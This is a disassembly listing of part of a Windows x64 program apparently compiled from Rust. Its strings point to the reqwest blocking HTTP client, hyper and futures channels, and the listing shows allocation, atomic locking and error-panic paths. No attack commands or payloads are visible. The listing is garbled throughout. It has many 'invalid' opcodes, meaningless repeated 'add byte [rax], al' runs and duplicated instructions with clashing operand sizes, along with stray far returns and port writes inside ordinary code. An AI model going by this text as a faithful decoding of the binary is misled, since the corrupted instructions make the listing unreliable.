mov r9d, 0xffffffff
call r12
mov al, 1
lock cmpxchg byte [rbx], sil
jne 0x1400c69e0
lock dec qword [rdi]
lea r12, [rbp + 0x400]
jne 0x1400c7714
mov rcx, rdi
call fcn.1400d3c40
movzx eax, byte [rbp + 0x3b1]
lea rcx, [0x140174c68]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, 1
mov rdx, rbx
call fcn.140104360
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140145a70]
mov edx, 0x5e
call fcn.140104a60
jmp case.0x1400c6a2c.2
mov qword [rbp + 0x458], rcx
movups xmm0, xmmword [r14 + 0x80]
movups xmm1, xmmword [r14 + 0x90]
lea rax, [rbp + 0x460]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rbp + 0x480], rcx
mov byte [rbp + 0x498], 0
mov qword [rbp + 0x488], rcx
lea rax, [rbp + 0x488]
mov qword [rbp + 0x490], rax
lea rdx, [rbp + 0x520]
call fcn.140036a20
test rax, rax
setne cl
add cl, cl
or cl, 1
mov byte [rbp + 0x498], cl
test rax, rax
je 0x1400c6b0b
mov byte [rbp + 0x4a0], 3
mov byte [rbp + 0x4f0], 3
mov eax, 1
mov cl, 3
test rax, rax
jne 0x1400c6997
mov rcx, r14
call fcn.1400c4c90
test rbx, rbx
jne 0x1400c741b
mov byte [rbp + 0x3b0], 0
mov rax, qword [rbp + 0x360]
mov qword [rbp + 0x3b8], rax
jmp case.0x1400c6a2c.4
test rdx, rdx
je 0x1400c6b37
mov rbx, rdx
mov rax, qword [rbp + 0x460]
mov rdx, qword [rbp + 0x468]
mov r8, qword [rbp + 0x470]
lea rcx, [rbp + 0x478]
call qword [rax + 0x10]
jmp 0x1400c6caa
mov r15, qword [rbp + 0x458]
lea rdi, [rbp + 0x460]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x580], xmm1
movaps xmmword [rbp + 0x570], xmm0
movzx eax, byte [r15 + 0x20]
mov bl, 1
cmp al, 2
je 0x1400c6c10
test al, al
je 0x1400c6d33
mov r12, qword [r15 + 0x18]
lea rsi, [r12 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r12 + 0x10], cl
jne 0x1400c747e
mov rax, qword [0x14017d2a8]
shl rax, 1
xor edi, edi
test rax, rax
jne 0x1400c748b
movzx eax, byte [r12 + 0x11]
test al, al
jne 0x1400c74a4
cmp byte [r12 + 0x28], 0
je 0x1400c6cfe
mov rax, qword [r12 + 0x18]
test rax, rax
je 0x1400c6bcc
mov rcx, qword [r12 + 0x20]
call qword [rax + 0x18]
mov qword [r12 + 0x18], 0
test dil, dil
jne 0x1400c6bed
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400c751a
xor eax, eax
xchg byte [rsi], al
xor ebx, ebx
lea rdi, [rbp + 0x570]
cmp al, 2
jne 0x1400c6c09
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor ebx, ebx
lea r12, [rbp + 0x400]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xd0], bl
mov eax, dword [rbp + 0x540]
mov ecx, dword [rbp + 0x543]
lea rdx, [rbp + 0x1a0]
mov dword [rdx - 0xcc], ecx
mov dword [rdx - 0xcf], eax
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c7598
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov rbx, rax
mov byte [rax + 0x30], 5
mov rax, qword [rbp + 0xb0]
test rax, rax
je 0x1400c6c9e
mov rdx, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0xc8]
call qword [rax + 0x10]
jmp 0x1400c6caa
lea rcx, [rbp + 0xb8]
call fcn.1400366b0
mov byte [rbp + 0x4a0], 1
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c757a
mov rdi, rax
mov qword [rax], rbx
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
mov rbx, rax
lea rax, fcn.1400366b0
test rbx, rbx
jne 0x1400c71f6
jmp 0x1400c765e
mov byte [r15 + 0x20], 0
test dil, dil
jne 0x1400c6d1b
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400c7532
xor eax, eax
xchg byte [rsi], al
cmp al, 2
lea r12, [rbp + 0x400]
jne 0x1400c6d33
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rcx, qword [r15 + 0x10]
mov rax, qword [rcx + 0x38]
movabs rdx, 0x7fffffffffffffff
lea rdi, [rbp + 0x570]
movabs r10, 0x8000000000000000
nop word cs:[rax + rax]
test rax, rax
jns 0x1400c6c10
mov r8, rax
and r8, rdx
cmp r8, rdx
je 0x1400c7562
lea r9, [rax + 1]
or r9, r10
lock cmpxchg qword [rcx + 0x38], r9
jne 0x1400c6d60
mov rdi, qword [r15 + 0x10]
cmp r8, qword [rdi + 0x30]
jb 0x1400c6e7a
mov r12, qword [r15 + 0x18]
lea rbx, [r12 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r12 + 0x10], cl
jne 0x1400c74dd
mov rax, qword [0x14017d2a8]
shl rax, 1
xor edi, edi
test rax, rax
jne 0x1400c74ea
movzx eax, byte [r12 + 0x11]
test al, al
jne 0x1400c7503
mov rax, qword [r12 + 0x18]
test rax, rax
je 0x1400c6de4
mov rcx, qword [r12 + 0x20]
call qword [rax + 0x18]
mov qword [r12 + 0x18], 0
mov byte [r12 + 0x28], 1
test dil, dil
jne 0x1400c6e0b
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400c754a
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x1400c6e1c
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdi, qword [r15 + 0x18]
lock inc qword [rdi]
lea r12, [rbp + 0x400]
jle case.0x1400c6a2c.2
mov rbx, qword [r15 + 0x10]
movzx eax, byte [0x14017d2b0]
mov edx, 0x10
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c764f
mov qword [rax], 0
mov qword [rax + 8], rdi
mov rcx, rax
xchg qword [rbx + 0x20], rcx
mov qword [rcx], rax
mov rax, qword [r15 + 0x10]
mov rax, qword [rax + 0x38]
shr rax, 0x3f
mov byte [r15 + 0x20], al
mov rdi, qword [r15 + 0x10]
movzx eax, byte [0x14017d2b0]
mov edx, 0x30
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c7640
mov qword [rax], 1
movaps xmm0, xmmword [rbp + 0x570]
movaps xmm1, xmmword [rbp + 0x580]
movups xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
mov qword [rax + 0x28], 0
mov rcx, rax
xchg qword [rdi + 0x10], rcx
mov qword [rcx + 0x28], rax
mov rax, qword [rdi + 0x58]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x58], rcx
jne 0x1400c6ed0
test rax, rax
jne 0x1400c6f02
mov rax, qword [rdi + 0x48]
mov rcx, qword [rdi + 0x50]
mov qword [rdi + 0x48], 0
lock and qword [rdi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400c6f02
call qword [rax + 8]
mov byte [rbp + 0x4a0], 1
mov rcx, qword [rbp + 0x3f8]
add rcx, qword [rbp + 0x428]
mov qword [rbp + 0x3f8], rcx
cmp qword [rbp + 0x3d8], 0
jne 0x1400c68ca
mov r8, qword [rbp + 0x3c0]
test r8, r8
je 0x1400c6f86
mov qword [rbp + 0x428], r8
cmp byte [rbp + 0x420], 3
je 0x1400c735f
lea rcx, [rbp + 0x540]
mov rdx, r14
call fcn.140012500
mov rdi, qword [rbp + 0x558]
test dil, 1
jne case.0x140073b82.323
mov rdx, qword [rbp + 0x540]
mov r8, qword [rbp + 0x548]
lea rcx, [0x14014bbf0]
jmp 0x1400c72eb
mov r8, qword [rbp + 0x3c8]
xor edx, edx
test r8, r8
jne 0x1400c6faf
mov edx, 0x40
mov rcx, r14
call fcn.1400126a0
mov rdx, qword [rbp + 0x3c0]
mov r8, qword [rbp + 0x3c8]
add byte [rax], al
add byte [rax], al
sub r8, rdx
add rdx, qword [rbp + 0x3b8]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0x3f0]
mov eax, dword [rbp + 0x3f0]
mov eax, dword [rbp + 0x3f0]
call qword [rax + 0x18]
mov rbx, rdx
test rax, rax
je case.0x1400937fa.216
movzx edi, byte [rbp + 0x420]
mov byte [rbp + 0x420], 3
cmp dil, 3
je 0x1400c75a7
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xd0], dil
mov eax, dword [r14 + 0x69]
mov ecx, dword [r14 + 0x6c]
lea rdx, [rbp + 0x1a0]
mov dword [rdx - 0xcc], ecx
invalid
dec dword [rcx - 0xce7e]
dec dword [rdi]
mov dh, 5
and byte [rdx + 0xb], 0
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
pop qword [rcx]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
push rbx
invalid
add byte [rax], al
invalid
pop qword [rcx]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
push rbx
add eax, 0xc7480000
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x101
mov rcx, qword [rbp + 0xc0]
mov ecx, dword [rbp + 0xc0]
mov ecx, dword [rbp + 0xc0]
mov edx, edi
mov r8, rax
call fcn.1400376d0
mov rax, qword [rbp + 0xb8]
add byte [rax], al
add al, dh
dec qword [rax]
add byte [rax], al
add al, dh
dec qword [rax]
jne 0x1400c7080
mov rcx, qword [rbp + 0xb8]
call fcn.140004b70
invalid
inc dword [rax + 0xd0bd]
add byte [rdx], al
cmp byte [rbp + 0xd0], 2
mov ebp, 0xd0
add cl, byte [rdi]
test byte [rax + 0x48000000], dl
mov edi, dword [rbp + 0xc0]
je 0x1400c711d
mov rdi, qword [rbp + 0xc0]
lock dec qword [rdi + 0x40]
jne 0x1400c70f2
mov rax, qword [rdi + 0x38]
test rax, rax
invalid
jns 0x1400c70b3
sar byte [rcx + 0xf], 0x48
mov eax, 0xffffffff
invalid
movabs rax, 0x7fffffffffffffff
lock and qword [rdi + 0x38], rax
mov rax, qword [rdi + 0x58]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x58], rcx
jne 0x1400c70c0
test rax, rax
jne 0x1400c70f2
mov rax, qword [rdi + 0x48]
mov rcx, qword [rdi + 0x50]
mov qword [rdi + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lock and qword [rdi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400c70f2
call qword [rax + 8]
lock dec qword [rdi]
jne 0x1400c7104
invalid
or al, 0x48
lea ecx, [rbp + 0xc0]
lea rcx, [rbp + 0xc0]
call fcn.140035d00
mov rax, qword [rbp + 0xc8]
lock dec qword [rax]
jne 0x1400c711d
mov rcx, qword [rbp + 0xc8]
call fcn.140004b70
mov rdi, qword [rbp + 0xb0]
test rdi, rdi
je 0x1400c71ae
mov r15b, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
invalid
test al, al
invalid
jne 0x1400c7167
add byte [rax + rax*8 - 0x74b7dc8b], al
js 0x1400c7191
sal byte [rbp + 0x23], 0x48
mov eax, dword [rdi + 0x78]
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov ecx, dword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x1400c7167
call qword [rax + 8]
xchg byte [rdi + 0xa0], r15b
test r15b, r15b
jne 0x1400c719c
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x1400c7194
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0xa0], al
lock dec qword [rdi]
jne 0x1400c71ae
mov rcx, qword [rbp + 0xb0]
call fcn.1400378a0
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c757a
mov rdi, rax
mov qword [rax], rbx
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
mov rbx, rax
lea rax, [0x140139b18]
test rbx, rbx
je 0x1400c765e
movabs rcx, 0x8000000000000000
mov qword [rbx], rcx
or byte [rax - 0x77], 0xb
mov qword [rbx + 0x58], rdi
mov qword [rbx + 0x60], rax
mov word [rbx + 0x68], 4
cmp byte [rbp + 0x420], 3
je 0x1400c68ea
jmp 0x1400c68e2
shr rdi, 5
mov rbx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x548]
mov r12, qword [rbp + 0x550]
sub rbx, rdi
lea r15, [rdi + rax]
cmp rax, r12
jne 0x1400c7290
lea rcx, [0x140110a98]
lea rdx, [0x14016f768]
xor eax, eax
mov r9d, 0
mov ecx, 0
test r15, r15
lea r12, [rbp + 0x400]
je 0x1400c72d2
lea rcx, [0x140126058]
test bl, 1
jne 0x1400c7377
mov rax, rbx
or rax, 1
lea rcx, [0x140126040]
mov rdx, rbx
jmp 0x1400c737d
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c7589
add r12, rdi
mov qword [rax], rbx
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
lea rcx, [0x140110b88]
mov rdx, rbx
mov r9, r15
lea r12, [rbp + 0x400]
movsd dword [rdi], dword [rsi]
add byte [rax + rax], al
invalid
movsd dword [rdi], dword [rsi]
add byte [rax + rax], al
add byte [rax - 0x77], cl
mov ebp, 0x310
mov qword [rbp + 0x310], rdi
mov r8, r9
sub r8, rdi
sub eax, edi
sub eax, edi
jb 0x1400c7393
add rdx, rdi
mov rdi, rax
mov qword [rbp + 0x430], r12
mov qword [rbp + 0x438], rcx
add al, 0
add byte [rax - 0x77], cl
xchg ebp, eax
add al, 0
add al, 0
add byte [rcx + rcx*4 - 0x7b], cl
add al, 0
add byte [rax - 0x77], cl
mov ebp, 0x450
add al, 0
add byte [rax - 0x77], cl
xchg ebp, eax
add al, 0
add al, 0
add al, 0
add byte [rcx + rcx*4 - 0x7b], cl
add al, 0
add byte [rax - 0x77], cl
mov ebp, 0x450
mov byte [rbp + 0x4a0], 0
mov rcx, r12
jmp 0x1400c6a58
loope 0x1400c7302
test rbx, rbx
je 0x1400c68d7
mov r8, qword [rbp + 0x3c0]
add r8, rbx
mov qword [rbp + 0x540], r8
cmp r8, qword [rbp + 0x3c8]
ja 0x1400c75bf
mov qword [rbp + 0x3c0], r8
mov qword [rbp + 0x428], r8
cmp byte [rbp + 0x420], 3
jne 0x1400c6f4c
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
mov edx, 0x16
call fcn.140104a60
mov rdx, rbx
mov rax, rbx
mov r9, r15
mov qword [rbp + 0x310], rdi
mov r8, r9
sub r8, rdi
sub eax, edi
sub eax, edi
jae 0x1400c72e5
mov qword [rbp + 0x308], r9
lea rax, [rbp + 0x310]
lea eax, [rbp + 0x310]
lea eax, [rbp + 0x310]
mov qword [rbp + 0x570], rax
lea rax, [0x1400ea5c0]
add al, byte [rax]
add al, byte [rax]
mov qword [rbp + 0x578], rax
mov dword [rbp + 0x578], eax
lea rcx, [rbp + 0x308]
add byte [rax], al
mov qword [rbp + 0x580], rcx
mov qword [rbp + 0x588], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], 2
test dword [rax + 0x2000000], edi
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax + 0x2000000], edi
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0x570]
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0x570]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rbp + 0xb0]
call fcn.140104620
mov rsi, qword [rbp + 0x360]
test rsi, rsi
mov r13, qword [rbp + 0x5b0]
mov r14, qword [rbp + 0x5b8]
je 0x1400c7474
mov rax, qword [rsi + 0x30]
nop dword [rax]
mov rcx, rax
or rcx, 4
leave
add al, 0xf0
cmpxchg qword [rsi + 0x30], rcx
invalid
invalid
leave
add al, 0xf0
cmpxchg qword [rsi + 0x30], rcx
invalid
invalid
xor byte [rbp - 0xf], r14b
jne 0x1400c7440
and eax, 0xa
cmp eax, 8
jne 0x1400c7462
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c7474
mov rcx, qword [rbp + 0x360]
invalid
add byte [rax], al
call fcn.1400c00b0
mov edi, 4
jmp 0x1400c7975
add al, 0
invalid
add cl, ch
test dword [rax + rax], 0xf1894800
add al, 0
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14010c7c0
jmp 0x1400c6b8b
add cl, ch
add bh, dh
invalid
call fcn.14010c880
push rbx
add al, 0
mov edi, eax
xor dil, 1
movzx eax, byte [r12 + 0x11]
mov dh, 0x44
and al, 0x11
mov dh, 0x44
and al, 0x11
test al, al
je 0x1400c6bae
mov qword [rbp + 0xb0], rsi
mov al, 0
add byte [rax], al
mov byte [rbp + 0xb8], dil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bb38]
lea r8, [rbp + 0xb0]
mov edx, 0x2b
call fcn.1401049b0
mov rcx, rbx
call fcn.14010c7c0
jmp 0x1400c6daf
call fcn.14010c880
mov edi, eax
xor dil, 1
movzx eax, byte [r12 + 0x11]
and al, 0x11
and al, 0x11
test al, al
je 0x1400c6dd2
mov qword [rbp + 0xb0], rbx
mov byte [rbp + 0xb8], dil
add byte [rax - 0x78], al
mov ebp, 0xb8
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
jmp 0x1400c74b9
call fcn.14010c880
add al, 0
test al, al
jne 0x1400c6bed
mov byte [r12 + 0x11], 1
adc dword [rcx], eax
jmp 0x1400c6bed
call fcn.14010c880
test al, al
jne 0x1400c6d1b
mov byte [r12 + 0x11], 1
jmp 0x1400c6d1b
call fcn.14010c880
xor dword [rbx + 4], edx
add byte [rax + rax*8 - 0x74b7af1], al
invalid
mov ah, 0xf8
invalid
add al, 0
test al, al
jne 0x1400c6e0b
invalid
mov ah, 0xf8
invalid
invalid
test dword [rax + rdi*8 - 0x39be0001], esi
and al, 0x11
add ecx, ebp
test eax, 0x48fffff8
dec dword [rax - 0x73]
or eax, 0x72cd7
mov byte [r12 + 0x11], 1
jmp 0x1400c6e0b
invalid
dec dword [rax - 0x73]
or eax, 0x72cd7
lea rcx, str.buffer_space_exhausted__sending_this_messages_would_overflow_the_state
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov edx, 0x46
call fcn.1401092e0
mov ecx, 8
add byte [rax], al
mov edx, 8
call fcn.140104380
mov ecx, 8
mov edx, 0x18
add byte [rax], al
call fcn.140104380
mov ecx, 8
mov edx, 0x38
call fcn.140104380
add eax, dword [rax]
add eax, dword [rax]
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
mov edx, 0x16
add byte [rax], al
add al, ch
invalid
invalid
add eax, dword [rax]
add byte [rbp + rcx*4 + 5], cl
invalid
add byte [rax], al
add al, ch
movabs eax, dword [0x540858d480003d4]
test dword [rax + 5], eax
lea rax, [rbp + 0x540]
test dword [rax + 5], eax
add byte [rax], al
mov qword [rbp + 0x570], rax
mov dword [rbp + 0x570], eax
lea rax, [fcn.140012c90]
mov qword [rbp + 0x578], rax
mov dword [rbp + 0x578], eax
mov dword [rbp + 0x578], eax
lea rcx, [rbp + 0x3c8]
mov qword [rbp + 0x580], rcx
invalid
mov qword [rbp + 0x588], rax
lea rax, [0x14013e4f8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], 2
mov qword [rbp + 0xd0], 0
test eax, edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax + 5], esi
add byte [rax], al
test eax, edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax + 5], esi
add byte [rax], al
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], 2
add byte [rax], al
add byte [rax - 0x39], cl
test eax, ecx
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
call fcn.140104620
mov ecx, 8
mov edx, 0x30
call fcn.140104380
add eax, dword [rax]
add eax, dword [rax]
mov ecx, 8
mov edx, 0x10
call fcn.140104380
invalid
mov ecx, 8
mov edx, 0x70
call fcn.140104380
lea rcx, [rbp + 0xb0]
lea r8, [rbp + 0x520]
mov rdx, r14
call fcn.1400c4e00
and byte [0xc958767d], al
bnd call fcn.1400c4e00
mov rdi, qword [rbp + 0xb0]
cmp rdi, 5
jne 0x1400c7737
invalid
add byte [rcx - 0x4e7277fc], dh
add eax, dword [rax]
add byte [rcx - 0x7f], al
std
add dl, cl
invalid
mov cl, 4
mov byte [rbp + 0x3b1], cl
cmp r13d, 0x3b9aca00
add al, 0x88
lea esi, [rcx + 0x41000003]
cmp ebp, 0x3b9aca00
je 0x1400c69aa
invalid
call fcn.1400dfe70
mov r8d, edx
xor ecx, ecx
mov r9, qword [rbp + 0x568]
lea ebp, [rax + 5]
add byte [rax], al
lea ebp, [rax + 5]
add byte [rax], al
cmp rax, r9
setne cl
mov edx, 0xff
cmovae edx, ecx
xor edi, edi
cmp r8d, r13d
mov ecx, 0
sbb ecx, ecx
test dl, dl
cmovne ecx, edx
retf 0xf980
add dword [rdi], ecx
xchg cl, bh
add byte [rax], al
invalid
retf 0xf980
mov qword [rbp + 0xb0], r9
mov dword [rbp + 0xb8], r13d
lodsd eax, dword [rsi]
mov eax, 0x48000000
lea ecx, [rbp + 0xb0]
lodsd eax, dword [rsi]
mov eax, 0x48000000
lea ecx, [rbp + 0xb0]
mov rdx, rax
call fcn.1400d67b0
mov cl, 0xf0
add byte [rax], al
cmp edx, 0x3b9aca00
cmove edx, edi
cmovne rdi, rax
clc
clc
mov rcx, rdi
call fcn.1400d78f0
movzx eax, byte [rbp + 0x3b1]
lea rcx, [0x140174c68]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140104c30
mov rbx, qword [rbp + 0xb8]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x280]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
add eax, dword [rax]
mov rsi, qword [rbp + 0x3b8]
test rsi, rsi
mov r13, qword [rbp + 0x5b0]
mov r14, qword [rbp + 0x5b8]
je 0x1400c77b4
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c7780
and eax, 0xa
cmp eax, 8
jne 0x1400c77a2
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c77b4
mov rcx, qword [rbp + 0x3b8]
call fcn.1400c00b0
cmp edi, 4
je 0x1400c7c83
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x280]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400c7975
movzx eax, byte [rbp + 0x3b1]
mov edi, 4
test eax, eax
je 0x1400c78c1
cmp eax, 3
mov r13, qword [rbp + 0x5b0]
je 0x1400c7856
cmp eax, 4
jne 0x1400c796c
mov rsi, qword [rbp + 0x3b8]
test rsi, rsi
mov r14, qword [rbp + 0x5b8]
je 0x1400c7865
mov rax, qword [rsi + 0x30]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c7820
and eax, 0xa
cmp eax, 8
jne 0x1400c7842
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c7865
mov rcx, qword [rbp + 0x3b8]
call fcn.1400c00b0
jmp 0x1400c7865
mov rcx, r14
call fcn.1400c4c90
mov r14, qword [rbp + 0x5b8]
cmp byte [rbp + 0x3b0], 0
je 0x1400c7968
test dh, dh
add byte [rax], al
add byte [rax - 0x75], cl
mov ch, 0x60
add eax, dword [rax]
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
out 0, al
add byte [rax], al
mov rsi, qword [rbp + 0x360]
test rsi, rsi
je 0x1400c7968
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c7890
and eax, 0xa
cmp eax, 8
jne 0x1400c78b2
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
je 0x1400c7958
jmp 0x1400c7968
mov rsi, qword [rbp + 0x390]
mov rbx, qword [rbp + 0x398]
mov rcx, rsi
call qword [rbx]
cmp qword [rbx + 8], 0
mov r13, qword [rbp + 0x5b0]
mov r14, qword [rbp + 0x5b8]
mov esi, dword [rbp + 0x5b8]
mov esi, dword [rbp + 0x5b8]
je 0x1400c7906
cmp qword [rbx + 0x10], 0x11
jb 0x1400c78f4
mov rsi, qword [rsi - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x368]
call fcn.140086030
dec dword [rax - 0x75]
mov ch, 0x60
add eax, dword [rax]
add byte [rax - 0x7b], cl
invalid
je 0x1400c7968
dec dword [rax - 0x75]
mov ch, 0x60
add eax, dword [rax]
add byte [rax - 0x7b], cl
div byte [rdx + rcx*2 + 0x48]
mov eax, dword [rsi + 0x30]
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
mov ecx, eax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c7930
and eax, 0xa
cmp eax, 8
jne 0x1400c7952
or al, byte [rbx + 0xb7508f8]
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c7968
mov rcx, qword [rbp + 0x360]
call fcn.1400c00b0
xor ebx, ebx
jmp 0x1400c7975
xor ebx, ebx
jmp 0x1400c7975
xor ebx, ebx
mov r14, qword [rbp + 0x5b8]
invalid
add byte [rax], al
add eax, 0x8b480000
test dword [rax], ecx
add eax, 0x8b480000
lea edx, [rax]
add eax, 0x50ff0000
sbb byte [rbx - 0x74b7fc01], al
mov ch, 0x18
add eax, dword [rax]
add byte [rdx + rdx - 0x7d], dh
inc dword [rdi + rcx]
test esi, esi
test byte [rax], 0
mov rax, qword [rbp + 0x508]
mov rcx, qword [rbp + 0x510]
call qword [rax + 0x18]
cmp edi, 3
mov rsi, qword [rbp + 0x318]
je 0x1400c79a4
cmp edi, 4
jne 0x1400c7a91
test byte [rax], 0
invalid
test byte [rax], 0
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test byte [rbx], cl
test rbx, rbx
je 0x1400c7baf
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x85
push rax
add eax, dword [rax]
add byte [rax + 0x37085], cl
add byte [rdi], cl
sub byte [rbp + 0x340], al
movzx eax, byte [rbp + 0x350]
mov byte [rbp + 0x370], al
